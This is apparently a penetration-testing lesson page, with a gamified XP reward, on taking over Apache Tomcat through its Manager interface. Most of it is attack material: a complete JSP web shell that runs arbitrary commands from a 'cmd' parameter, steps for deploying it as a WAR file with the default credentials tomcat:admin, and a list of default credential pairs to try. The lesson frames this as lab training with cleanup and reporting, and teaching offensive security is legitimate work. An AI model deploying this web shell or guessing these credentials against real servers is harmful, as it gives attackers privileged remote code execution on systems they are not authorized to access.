A structured lesson workspace with readable content, hands-on examples, and a clean path to completion.
Tomcat sits under High Value Targets in every EyeWitness report I've ever reviewed. Internal assessments especially—multiple instances, weak credentials, running as root or SYSTEM. If you can reach /manager/html with valid creds, you're five steps from code execution.
<%@ page import="java.util.*,java.io.*"%><HTML><BODY><FORM METHOD="GET" NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" VALUE="Send"></FORM><pre><%if (request.getParameter("cmd") != null) {out.println("Command: " + request.getParameter("cmd") + "<BR>");Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while (disr != null) {out.println(disr);disr = dis.readLine();}}%></pre></BODY></HTML>
Browse to /manager/html, authenticate with tomcat:admin, scroll to Deploy, click Browse, select backup.war, hit Deploy. The application appears in the manager table within seconds.
Undeploy the application from the Manager GUI when done. This removes both the WAR archive and the extracted directory. Still list the artifact path (/opt/tomcat/apache-tomcat-10.0.10/webapps) in your report.
Tomcat often runs as SYSTEM on Windows or root on Linux. One WAR upload and you have a privileged foothold. Always check /manager and /host-manager. Always try tomcat:tomcat, admin:admin, tomcat:admin. You'd be shocked how often it works. Go deploy a WAR file on the lab target now.
Finish the lesson once you have worked through the material. This awards ★ 40 XP.